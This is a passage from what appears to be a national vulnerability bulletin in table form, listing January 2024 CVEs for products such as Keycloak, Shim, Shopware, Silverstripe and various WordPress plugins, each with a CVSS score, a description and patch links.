URL Redirection to Untrusted Site ('Open Redirect')	26-Jan-2024	6.1	A flaw was found in the redirect_uri validation logic in Keycloak. This issue may allow a bypass of otherwise explicitly allowed hosts. A successful attack may lead to an access token being stolen, making it possible for the attacker to impersonate other users. **CVE ID : CVE-2023-6291**	https://access.redhat.com/errata/RHSA-2023:7854, https://access.redhat.com/errata/RHSA-2023:7855, https://access.redhat.com/errata/RHSA-2023:7856, https://access.redhat.com/errata/RHSA-2023:7857, https://access.redhat.com/errata/RHSA-2023:7858	A-RED-OPEN-140224/1023
Product: openshift_container_platform_for_ibm_z					
Affected Version(s): 4.10					
URL Redirection to Untrusted Site ('Open Redirect')	26-Jan-2024	6.1	A flaw was found in the redirect_uri validation logic in Keycloak. This issue may allow a bypass of otherwise explicitly allowed hosts. A successful	https://access.redhat.com/errata/RHSA-2023:7854, https://access.redhat.com/errata/RHSA-2023:7855, https://access.r	A-RED-OPEN-140224/1024

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attack may lead to an access token being stolen, making it possible for the attacker to impersonate other users. **CVE ID : CVE-2023-6291**	edhat.com/errata/RHSA-2023:7856, https://access.redhat.com/errata/RHSA-2023:7857, https://access.redhat.com/errata/RHSA-2023:7858	
Affected Version(s): 4.9					
URL Redirection to Untrusted Site ('Open Redirect')	26-Jan-2024	6.1	A flaw was found in the redirect_uri validation logic in Keycloak. This issue may allow a bypass of otherwise explicitly allowed hosts. A successful attack may lead to an access token being stolen, making it possible for the attacker to impersonate other users. **CVE ID : CVE-2023-6291**	https://access.redhat.com/errata/RHSA-2023:7854, https://access.redhat.com/errata/RHSA-2023:7855, https://access.redhat.com/errata/RHSA-2023:7856, https://access.redhat.com/errata/RHSA-2023:7857, https://access.redhat.com/errata/RHSA-2023:7858	A-RED-OPEN-140224/1025
Product: openshift_container_platform_for_linuxone					
Affected Version(s): 4.10					
URL Redirection to Untrusted Site ('Open Redirect')	26-Jan-2024	6.1	A flaw was found in the redirect_uri validation logic in Keycloak. This issue may allow a bypass of otherwise explicitly allowed	https://access.redhat.com/errata/RHSA-2023:7854, https://access.redhat.com/errata/RHSA-2023:7855,	A-RED-OPEN-140224/1026

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			hosts. A successful attack may lead to an access token being stolen, making it possible for the attacker to impersonate other users. **CVE ID : CVE-2023-6291**	https://access.redhat.com/errata/RHSA-2023:7856, https://access.redhat.com/errata/RHSA-2023:7857, https://access.redhat.com/errata/RHSA-2023:7858	
Affected Version(s): 4.9					
URL Redirection to Untrusted Site ('Open Redirect')	26-Jan-2024	6.1	A flaw was found in the redirect_uri validation logic in Keycloak. This issue may allow a bypass of otherwise explicitly allowed hosts. A successful attack may lead to an access token being stolen, making it possible for the attacker to impersonate other users. **CVE ID : CVE-2023-6291**	https://access.redhat.com/errata/RHSA-2023:7854, https://access.redhat.com/errata/RHSA-2023:7855, https://access.redhat.com/errata/RHSA-2023:7856, https://access.redhat.com/errata/RHSA-2023:7857, https://access.redhat.com/errata/RHSA-2023:7858	A-RED-OPEN-140224/1027
Product: openshift_container_platform_for_power					
Affected Version(s): 4.10					
URL Redirection to Untrusted Site ('Open Redirect')	26-Jan-2024	6.1	A flaw was found in the redirect_uri validation logic in Keycloak. This issue may allow a bypass of otherwise	https://access.redhat.com/errata/RHSA-2023:7854, https://access.redhat.com/errata/RHSA-	A-RED-OPEN-140224/1028

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			explicitly allowed hosts. A successful attack may lead to an access token being stolen, making it possible for the attacker to impersonate other users. **CVE ID : CVE-2023-6291**	2023:7855, https://access.redhat.com/errata/RHSA-2023:7856, https://access.redhat.com/errata/RHSA-2023:7857, https://access.redhat.com/errata/RHSA-2023:7858	
Affected Version(s): 4.9					
URL Redirection to Untrusted Site ('Open Redirect')	26-Jan-2024	6.1	A flaw was found in the redirect_uri validation logic in Keycloak. This issue may allow a bypass of otherwise explicitly allowed hosts. A successful attack may lead to an access token being stolen, making it possible for the attacker to impersonate other users. **CVE ID : CVE-2023-6291**	https://access.redhat.com/errata/RHSA-2023:7854, https://access.redhat.com/errata/RHSA-2023:7855, https://access.redhat.com/errata/RHSA-2023:7856, https://access.redhat.com/errata/RHSA-2023:7857, https://access.redhat.com/errata/RHSA-2023:7858	A-RED-OPEN-140224/1029
Product: shim					
Affected Version(s): * Up to (excluding) 15.8					
Out-of-bounds Write	25-Jan-2024	9.8	A remote code execution vulnerability was found in Shim. The Shim boot support trusts attacker-	http://www.openwall.com/lists/oss-security/2024/01/26/1, https://access.r	A-RED-SHIM-140224/1030

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			controlled values when parsing an HTTP response. This flaw allows an attacker to craft a specific malicious HTTP request, leading to a completely controlled out-of-bounds write primitive and complete system compromise. **CVE ID : CVE-2023-40547**	edhat.com/security/cve/CVE-2023-40547, https://bugzilla.redhat.com/show_bug.cgi?id=2234589	
Product: single_sign-on					
Affected Version(s): -					
URL Redirection to Untrusted Site ('Open Redirect')	26-Jan-2024	6.1	A flaw was found in the redirect_uri validation logic in Keycloak. This issue may allow a bypass of otherwise explicitly allowed hosts. A successful attack may lead to an access token being stolen, making it possible for the attacker to impersonate other users. **CVE ID : CVE-2023-6291**	https://access.redhat.com/errata/RHSA-2023:7854, https://access.redhat.com/errata/RHSA-2023:7855, https://access.redhat.com/errata/RHSA-2023:7856, https://access.redhat.com/errata/RHSA-2023:7857, https://access.redhat.com/errata/RHSA-2023:7858	A-RED-SING-140224/1031
Affected Version(s): 7.6					
URL Redirection to	26-Jan-2024	6.1	A flaw was found in the redirect_uri validation logic in	https://access.redhat.com/errata/RHSA-	A-RED-SING-140224/1032

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Untrusted Site ('Open Redirect')			Keycloak. This issue may allow a bypass of otherwise explicitly allowed hosts. A successful attack may lead to an access token being stolen, making it possible for the attacker to impersonate other users. **CVE ID : CVE-2023-6291**	2023:7854, https://access.redhat.com/errata/RHSA-2023:7855, https://access.redhat.com/errata/RHSA-2023:7856, https://access.redhat.com/errata/RHSA-2023:7857, https://access.redhat.com/errata/RHSA-2023:7858	
Vendor: redis					
Product: redisraft					
Affected Version(s): -					
N/A	23-Jan-2024	9.8	Redis raft master-1b8bd86 to master-7b46079 was discovered to contain an ODR violation via the component hiredisAllocFns at /opt/fs/redisraft/deps/hiredis/alloc.c. **CVE ID : CVE-2023-31654**	N/A	A-RED-REDI-140224/1033
Vendor: regify					
Product: regipay					
Affected Version(s): 4.5.1.0					
Uncontrolled Search Path Element	24-Jan-2024	7.8	An issue was discovered in Regify Regipay Client for Windows version 4.5.1.0 allows DLL	N/A	A-REG-REGI-140224/1034

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			hijacking: a user can trigger the execution of arbitrary code every time the product is executed. **CVE ID : CVE-2023-51711**		
Vendor: Relevanssi					
Product: relevanssi					
Affected Version(s): * Up to (including) 2.25.0					
Authorization Bypass Through User-Controlled Key	29-Jan-2024	5.3	The Relevanssi WordPress plugin before 4.22.0, Relevanssi Premium WordPress plugin before 2.25.0 allows any unauthenticated user to read draft and private posts via a crafted request **CVE ID : CVE-2023-7199**	https://www.relevanssi.com/release-notes/premium-2-25-free-4-22-release-notes/	A-REL-RELE-140224/1035
Vendor: rems					
Product: online_food_menu					
Affected Version(s): 1.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	29-Jan-2024	4.8	Sourcecodester Online Food Menu 1.0 is vulnerable to Cross Site Scripting (XSS) via the 'Menu Name' and 'Description' fields in the Update Menu section.	N/A	A-REM-ONLI-140224/1036

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-24134		
Vendor: remyandrade					
Product: daily_habit_tracker					
Affected Version(s): 1.0					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	29-Jan-2024	7.2	Sourcecodester Daily Habit Tracker App 1.0 allows SQL Injection via the parameter 'tracker.' **CVE ID : CVE-2024-24140**	N/A	A-REM-DAIL-140224/1037
Product: login_system_with_email_verification					
Affected Version(s): 1.0					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	29-Jan-2024	7.2	Sourcecodester Login System with Email Verification 1.0 allows SQL Injection via the 'user' parameter. **CVE ID : CVE-2024-24139**	N/A	A-REM-LOGI-140224/1038
Product: math_game					
Affected Version(s): 1.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	29-Jan-2024	6.1	The 'Your Name' field in the Submit Score section of Sourcecodester Math Game with Leaderboard v1.0 is vulnerable to Cross-Site Scripting (XSS) attacks. **CVE ID : CVE-2024-24136**	N/A	A-REM-MATH-140224/1039

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: school_task_manager					
Affected Version(s): 1.0					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	29-Jan-2024	9.8	Sourcecodester School Task Manager App 1.0 allows SQL Injection via the 'task' parameter. **CVE ID : CVE-2024-24141**	N/A	A-REM-SCHO-140224/1040
Vendor: renzojohnson					
Product: contact_form_7_extension_for_mailchimp					
Affected Version(s): * Up to (including) 0.5.70					
Server-Side Request Forgery (SSRF)	24-Jan-2024	6.5	Server-Side Request Forgery (SSRF) vulnerability in Renzo Johnson Contact Form 7 Extension For Mailchimp.This issue affects Contact Form 7 Extension For Mailchimp: from n/a through 0.5.70. **CVE ID : CVE-2024-22134**	N/A	A-REN-CONT-140224/1041
Vendor: royal-elementor-addons					
Product: royal_elementor_addons					
Affected Version(s): * Up to (excluding) 1.3.81					
N/A	16-Jan-2024	7.5	The Royal Elementor Addons and Templates WordPress plugin	N/A	A-ROY-ROYA-140224/1042

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			before 1.3.81 does not ensure that users accessing posts via an AJAX action (and REST endpoint, currently disabled in the plugin) have the right to do so, allowing unauthenticated users to access arbitrary draft, private and password protected posts/pages content **CVE ID : CVE-2023-5922**		
Vendor: rpm-software-management					
Product: mock					
Affected Version(s): -					
N/A	16-Jan-2024	9.8	The Mock software contains a vulnerability wherein an attacker could potentially exploit privilege escalation, enabling the execution of arbitrary code with root user privileges. This weakness stems from the absence of proper sandboxing during the expansion and execution of Jinja2	http://www.openwall.com/lists/oss-security/2024/01/16/1, https://github.com/xsuchy/templated-dictionary/commit/0740bd0ca8d487301881541028977d120f8b8933, https://github.com/xsuchy/templated-dictionary/commit/bcd90f0dafa365575c4b101	A-RPM-MOCK-140224/1043

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			templates, which may be included in certain configuration parameters. While the Mock documentation advises treating users added to the mock group as privileged, certain build systems invoking mock on behalf of users might inadvertently permit less privileged users to define configuration tags. These tags could then be passed as parameters to mock during execution, potentially leading to the utilization of Jinja2 templates for remote privilege escalation and the execution of arbitrary code as the root user on the build server. **CVE ID : CVE-2023-6395**	e6f5d98c4ef4e4b69	
Vendor: sandsprite					
Product: scdbg					
Affected Version(s): 1.0					
Uncontrolled Resource	16-Jan-2024	5.5	An Uncontrolled Resource Consumption	N/A	A-SAN-SCDB-140224/1044

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Consumption			vulnerability has been found on Sandsprite Scdbg.exe, affecting version 1.0. This vulnerability allows an attacker to send a specially crafted shellcode payload to the '/foff' parameter and cause an application shutdown. A malware program could use this shellcode sequence to shut down the application and evade the scan. **CVE ID : CVE-2024-0581**		
Vendor: sarveshmrao					
Product: wp_discord_invite					
Affected Version(s): * Up to (excluding) 2.5.1					
Cross-Site Request Forgery (CSRF)	17-Jan-2024	6.5	The WP Discord Invite WordPress plugin before 2.5.1 does not protect some of its actions against CSRF attacks, allowing an unauthenticated attacker to perform actions on their behalf by tricking a logged in administrator to submit a crafted request. **CVE ID : CVE-2023-5006**	N/A	A-SAR-WP_D-140224/1045

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Vendor: sedlex					
Product: image_zoom					
Affected Version(s): * Up to (including) 1.8.8					
Missing Authorization	17-Jan-2024	6.5	Missing Authorization vulnerability in SedLex Image Zoom.This issue affects Image Zoom: from n/a through 1.8.8. **CVE ID : CVE-2022-41619**	N/A	A-SED-IMAG-140224/1046
Product: traffic_manager					
Affected Version(s): * Up to (including) 1.4.5					
Missing Authorization	17-Jan-2024	6.5	Missing Authorization vulnerability in SedLex Traffic Manager.This issue affects Traffic Manager: from n/a through 1.4.5. **CVE ID : CVE-2022-41695**	N/A	A-SED-TRAF-140224/1047
Vendor: seedwebs					
Product: seed_social					
Affected Version(s): * Up to (excluding) 2.0.4					
Improper Neutralization of Input During Web Page	16-Jan-2024	4.8	The Seed Social WordPress plugin before 2.0.4 does not sanitise and escape some of its settings, which	N/A	A-SEE-SEED-140224/1048

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Generation ('Cross-site Scripting')			could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). **CVE ID : CVE-2022-3836**		
Vendor: Seopanel					
Product: seo_panel					
Affected Version(s): 4.10.0					
Cross-Site Request Forgery (CSRF)	30-Jan-2024	6.5	A Cross-Site Request Forgery (CSRF) vulnerability in SEO Panel version 4.10.0 allows remote attackers to perform unauthorized user password resets. **CVE ID : CVE-2024-22643**	N/A	A-SEO-SEO_-140224/1049
Generation of Error Message Containing Sensitive Informatio n	30-Jan-2024	5.3	An email address enumeration vulnerability exists in the password reset function of SEO Panel version 4.10.0. This allows an attacker to guess which emails exist on the system. **CVE ID : CVE-2024-22646**	N/A	A-SEO-SEO_-140224/1050

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Observable Discrepancy	30-Jan-2024	5.3	An user enumeration vulnerability was found in SEO Panel 4.10.0. This issue occurs during user authentication, where a difference in error messages could allow an attacker to determine if a username is valid or not, enabling a brute-force attack with valid usernames. **CVE ID : CVE-2024-22647**	N/A	A-SEO-SEO_-140224/1051
Server-Side Request Forgery (SSRF)	30-Jan-2024	5.3	A Blind SSRF vulnerability exists in the "Crawl Meta Data" functionality of SEO Panel version 4.10.0. This makes it possible for remote attackers to scan ports in the local environment. **CVE ID : CVE-2024-22648**	N/A	A-SEO-SEO_-140224/1052
Vendor: seopress					
Product: seopress					
Affected Version(s): * Up to (excluding) 7.3					
Improper Neutralization of Input During Web Page Generation	22-Jan-2024	4.8	The SEOPress WordPress plugin before 7.3 does not sanitise and escape some of its settings, which could allow high privilege	N/A	A-SEO-SEOP-140224/1053

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			users such as admin to perform Cross-Site Scripting attacks even when unfiltered_html is disallowed **CVE ID : CVE-2023-6290**		
Vendor: Shopsite					
Product: shopsite					
Affected Version(s): 14.0					
Unrestricted Upload of File with Dangerous Type	26-Jan-2024	6.1	An arbitrary file upload vulnerability in the component /alsdemo/ss/mediam.cgi of ShopSite v14.0 allows attackers to execute arbitrary code via uploading a crafted SVG file. **CVE ID : CVE-2024-22550**	N/A	A-SHO-SHOP-140224/1054
Vendor: Shopware					
Product: shopware					
Affected Version(s): * Up to (excluding) 6.5.7.4					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	16-Jan-2024	9.8	Shopware is an open headless commerce platform. The Shopware application API contains a search functionality which enables users to search through information stored within their Shopware instance. The searches	https://github.com/shopware/shopware/security/advisories/GHSA-qmp9-2xwj-m6m9	A-SHO-SHOP-140224/1055

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			performed by this function can be aggregated using the parameters in the “aggregations” object. The ‘name’ field in this “aggregations” object is vulnerable SQL-injection and can be exploited using time-based SQL-queries. This issue has been addressed and users are advised to update to Shopware 6.5.7.4. For older versions of 6.1, 6.2, 6.3 and 6.4 corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version. **CVE ID : CVE-2024-22406**		
Server-Side Request Forgery (SSRF)	16-Jan-2024	8.1	Shopware is an open headless commerce platform. The implemented Flow Builder functionality in the Shopware application does not adequately validate the URL	https://github.com/shopware/shopware/security/advisories/GHSA-3535-m8vh-vrmw	A-SHO-SHOP-140224/1056

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			used when creating the “call webhook” action. This enables malicious users to perform web requests to internal hosts. This issue has been fixed in the Commercial Plugin release 6.5.7.4 or with the Security Plugin. For installations with Shopware 6.4 the Security plugin is recommended to be installed and up to date. For older versions of 6.4 and 6.5 corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version. **CVE ID : CVE-2024-22408**		
Improper Access Control	16-Jan-2024	6.5	Shopware is an open headless commerce platform. In the Shopware CMS, the state handler for orders fails to sufficiently verify user authorizations	https://github.com/shopware/shopware/security/advisories/GHSA-3867-jc5c-66qf	A-SHO-SHOP-140224/1057

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			for actions that modify the payment, delivery, and/or order status. Due to this inadequate implementation, users lacking 'write' permissions for orders are still able to change the order state. This issue has been addressed and users are advised to update to Shopware 6.5.7.4. For older versions of 6.1, 6.2, 6.3 and 6.4 corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version. **CVE ID : CVE-2024-22407**		
Vendor: sidenotesproject					
Product: side_notes					
Affected Version(s): * Up to (including) 2.0.0					
Cross-Site Request Forgery (CSRF)	29-Jan-2024	4.3	The Site Notes WordPress plugin through 2.0.0 does not have CSRF checks in some of its functionalities, which could allow attackers to make	N/A	A-SID-SIDE-140224/1058

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			logged in users perform unwanted actions, such as deleting administration notes, via CSRF attacks **CVE ID : CVE-2023-6633**		
Vendor: Silverstripe					
Product: admin					
Affected Version(s): From (including) 1.0.0 Up to (excluding) 1.13.19					
Incorrect Authorization	23-Jan-2024	4.3	Silverstripe Admin provides a basic management interface for the Silverstripe Framework. In versions on the 1.x branch prior to 1.13.19 and on the 2.x branch prior to 2.1.8, users who don't have edit or delete permissions for records exposed in a `ModelAdmin` can still edit or delete records using the CSV import form, provided they have create permissions. The likelihood of a user having create permissions but not having edit or delete permissions is low, but it is possible. Note that this doesn't affect any `ModelAdmin`	https://github.com/silverstripe/silverstripe-admin/security/advisories/GHSA-j3m6-gvm8-mhvw, https://www.silverstripe.org/download/security-releases/CVE-2023-49783	A-SIL-ADMI-140224/1059

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			which has had the import form disabled via the `showImportForm` public property. Versions 1.13.19 and 2.1.8 contain a patch for the issue. Those who have a custom implementation of `BulkLoader` should update their implementations to respect permissions when the return value of `getCheckPermissions()` is true. Those who use any `BulkLoader` in their own project logic, or maintain a module which uses it, should consider passing `true` to `setCheckPermissions()` if the data is provided by users. **CVE ID : CVE-2023-49783**		
Affected Version(s): From (including) 2.0.0 Up to (excluding) 2.1.8					
Incorrect Authorization	23-Jan-2024	4.3	Silverstripe Admin provides a basic management interface for the Silverstripe Framework. In versions on the 1.x branch prior to 1.13.19 and on the 2.x branch prior to 2.1.8, users who	https://github.com/silverstripe/silverstripe-admin/security/advisories/GHSA-j3m6-gvm8-mhvw, https://www.silverstripe.org/download/security-	A-SIL-ADMI-140224/1060

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			don't have edit or delete permissions for records exposed in a `ModelAdmin` can still edit or delete records using the CSV import form, provided they have create permissions. The likelihood of a user having create permissions but not having edit or delete permissions is low, but it is possible. Note that this doesn't affect any `ModelAdmin` which has had the import form disabled via the `showImportForm` public property. Versions 1.13.19 and 2.1.8 contain a patch for the issue. Those who have a custom implementation of `BulkLoader` should update their implementations to respect permissions when the return value of `getCheckPermissions()` is true. Those who use any `BulkLoader` in their own project logic, or maintain a module which uses it, should consider	releases/CVE-2023-49783	

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			passing `true` to `setCheckPermissions()` if the data is provided by users. **CVE ID : CVE-2023-49783**		
Product: framework					
Affected Version(s): * Up to (excluding) 4.13.39					
Incorrect Permission Assignment for Critical Resource	23-Jan-2024	4.3	Silverstripe Framework is the framework that forms the base of the Silverstripe content management system. Prior to versions 4.13.39 and 5.1.11, if a user should not be able to see a record, but that record can be added to a `GridField` using the `GridFieldAddExistingAutocompleter` component, the record's title can be accessed by that user. Versions 4.13.39 and 5.1.11 contain a fix for this issue. **CVE ID : CVE-2023-48714**	https://github.com/silverstripe/silverstripe-framework/security/advisories/GHSA-qm2j-qvq3-j29v, https://www.silverstripe.org/download/security-releases/CVE-2023-48714	A-SIL-FRAM-140224/1061
Affected Version(s): From (including) 5.0.0 Up to (excluding) 5.1.11					
Incorrect Permission Assignment for	23-Jan-2024	4.3	Silverstripe Framework is the framework that forms the base of the Silverstripe content	https://github.com/silverstripe/silverstripe-framework/security/advisories/GHSA-qm2j-	A-SIL-FRAM-140224/1062

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Critical Resource			management system. Prior to versions 4.13.39 and 5.1.11, if a user should not be able to see a record, but that record can be added to a `GridField` using the `GridFieldAddExistingAutocompleter` component, the record's title can be accessed by that user. Versions 4.13.39 and 5.1.11 contain a fix for this issue. **CVE ID : CVE-2023-48714**	qvq3-j29v, https://www.silverstripe.org/download/security-releases/CVE-2023-48714	
Product: graphql					
Affected Version(s): From (including) 4.0.0 Up to (excluding) 4.3.7					
Incorrect Authorization	23-Jan-2024	5.3	The Silverstripe CMS GraphQL Server serves Silverstripe data as GraphQL representations. In versions 4.0.0 prior to 4.3.7 and 5.0.0 prior to 5.1.3, `canView` permission checks are bypassed for ORM data in paginated GraphQL query results where the total number of records is greater than the number of records per page. Note that	https://github.com/silverstripe/silverstripe-graphql/security/advisories/GHSA-jgph-w8rh-xf5p, https://www.silverstripe.org/download/security-releases/CVE-2023-44401	A-SIL-GRAP-140224/1063

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			this also affects GraphQL queries which have a limit applied, even if the query isn't paginated per se. This has been fixed in versions 4.3.7 and 5.1.3 by ensuring no new records are pulled in from the database after performing `canView` permission checks for each page of results. This may result in some pages in the query results having less than the maximum number of records per page even when there are more pages of results. This behavior is consistent with how pagination works in other areas of Silverstripe CMS, such as in `GridField`, and is a result of having to perform permission checks in PHP rather than in the database directly. One may disable these permission checks by disabling the		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			`CanViewPermission` plugin. **CVE ID : CVE-2023-44401**		
Affected Version(s): From (including) 5.0.0 Up to (excluding) 5.1.3					
Incorrect Authorization	23-Jan-2024	5.3	The Silverstripe CMS GraphQL Server serves Silverstripe data as GraphQL representations. In versions 4.0.0 prior to 4.3.7 and 5.0.0 prior to 5.1.3, `canView` permission checks are bypassed for ORM data in paginated GraphQL query results where the total number of records is greater than the number of records per page. Note that this also affects GraphQL queries which have a limit applied, even if the query isn't paginated per se. This has been fixed in versions 4.3.7 and 5.1.3 by ensuring no new records are pulled in from the database after performing `canView` permission checks for each page of results. This may	https://github.com/silverstripe/silverstripe-graphql/security/advisories/GHSA-jgph-w8rh-xf5p, https://www.silverstripe.org/download/security-releases/CVE-2023-44401	A-SIL-GRAP-140224/1064

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			result in some pages in the query results having less than the maximum number of records per page even when there are more pages of results. This behavior is consistent with how pagination works in other areas of Silverstripe CMS, such as in `GridField`, and is a result of having to perform permission checks in PHP rather than in the database directly. One may disable these permission checks by disabling the `CanViewPermission` plugin. **CVE ID : CVE-2023-44401**		
Vendor: simonpedge					
Product: slide_anything					
Affected Version(s): * Up to (excluding) 2.3.47					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	5.4	The Slide Anything WordPress plugin before 2.3.47 does not properly sanitize or escape the slide title before outputting it in the admin pages, allowing a logged	N/A	A-SIM-SLID-140224/1065

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			in user with roles as low as Author to inject a javascript payload into the slide title even when the unfiltered_html capability is disabled. **CVE ID : CVE-2022-2413**		
Vendor: simple-membership-plugin					
Product: simple_membership					
Affected Version(s): * Up to (excluding) 4.4.2					
URL Redirection to Untrusted Site ('Open Redirect')	24-Jan-2024	6.1	URL Redirection to Untrusted Site ('Open Redirect') vulnerability in smp7, wp.Insider Simple Membership.This issue affects Simple Membership: from n/a through 4.4.1. **CVE ID : CVE-2024-22308**	N/A	A-SIM-SIMP-140224/1066
Vendor: skoda-auto					
Product: skoda_connect					
Affected Version(s): -					
N/A	18-Jan-2024	5.3	The Skoda Automotive cloud contains a Broken Access Control vulnerability, allowing to obtain nicknames and other user identifiers of Skoda	N/A	A-SKO-SKOD-140224/1067

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Connect service users by specifying an arbitrary vehicle VIN number. **CVE ID : CVE-2023-28900**		
N/A	18-Jan-2024	5.3	The Skoda Automotive cloud contains a Broken Access Control vulnerability, allowing remote attackers to obtain recent trip data, vehicle mileage, fuel consumption, average and maximum speed, and other information of Skoda Connect service users by specifying an arbitrary vehicle VIN number. **CVE ID : CVE-2023-28901**	N/A	A-SKO-SKOD-140224/1068
Vendor: smod					
Product: smodbip					
Affected Version(s): * Up to (including) 2.21					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	29-Jan-2024	5.4	Improper Input Validation vulnerability in MegaBIP and already unsupported SmodBIP software allows for Stored XSS.This issue affects SmodBIP in all versions and	N/A	A-SMO-SMOD-140224/1069

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			MegaBIP in versions up to 4.36.2 (newer versions were not tested; the vendor has not confirmed fixing the vulnerability). **CVE ID : CVE-2023-5378**		
Vendor: smsot					
Product: smsot					
Affected Version(s): * Up to (including) 2.12					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	19-Jan-2024	9.8	A vulnerability was found in Smsot up to 2.12. It has been classified as critical. Affected is an unknown function of the file /api.php of the component HTTP POST Request Handler. The manipulation of the argument data[sign] leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251556.	N/A	A-SMS-SMSO-140224/1070

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0733		
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	19-Jan-2024	9.8	A vulnerability was found in Smsot up to 2.12. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /get.php. The manipulation of the argument tid leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251557 was assigned to this vulnerability. **CVE ID : CVE-2024-0734**	N/A	A-SMS-SMSO-140224/1071
Vendor: snpdigital					
Product: salesking					
Affected Version(s): * Up to (including) 1.6.15					
Exposure of Sensitive Information to an Unauthorized Actor	24-Jan-2024	7.5	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in SNP Digital SalesKing.This issue affects SalesKing: from n/a through 1.6.15.	N/A	A-SNP-SALE-140224/1072

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-22154		
Vendor: sofastack					
Product: sofarpc					
Affected Version(s): * Up to (excluding) 5.12.0					
Deserialization of Untrusted Data	23-Jan-2024	9.8	SOFARPC is a Java RPC framework. SOFARPC defaults to using the SOFA Hessian protocol to deserialize received data, while the SOFA Hessian protocol uses a blacklist mechanism to restrict deserialization of potentially dangerous classes for security protection. But, prior to version 5.12.0, there is a gadget chain that can bypass the SOFA Hessian blacklist protection mechanism, and this gadget chain only relies on JDK and does not rely on any third-party components. Version 5.12.0 fixed this issue by adding a blacklist. SOFARPC also provides a way to add additional blacklists. Users can add a class like `-	https://github.com/sofastack/sofa-rpc/commit/42d19b1b1d14a25aafd9ef7c219c04a19f90fc76, https://github.com/sofastack/sofa-rpc/security/advisories/GHSA-7q8p-9953-pxvr	A-SOF-SOFA-140224/1073

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Drpc_serialize_blacklist_override=org.apache.xpath.` to avoid this issue. **CVE ID : CVE-2024-23636**		
Vendor: soflyy					
Product: export_any_wordpress_data_to_xml\/csv					
Affected Version(s): * Up to (excluding) 3.7.3					
N/A	22-Jan-2024	7.2	The Import any XML or CSV File to WordPress plugin before 3.7.3 accepts all zip files and automatically extracts the zip file into a publicly accessible directory without sufficiently validating the extracted file type. This may allows high privilege users such as administrator to upload an executable file type leading to remote code execution. **CVE ID : CVE-2023-7082**	N/A	A-SOF-EXPO-140224/1074
Vendor: Softaculous					
Product: backuply					
Affected Version(s): * Up to (including) 1.2.3					
Improper Limitation of a Pathname to a Restricted	27-Jan-2024	4.9	The Backuply – Backup, Restore, Migrate and Clone plugin for WordPress is vulnerable to	https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=302	A-SOF-BACK-140224/1075

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
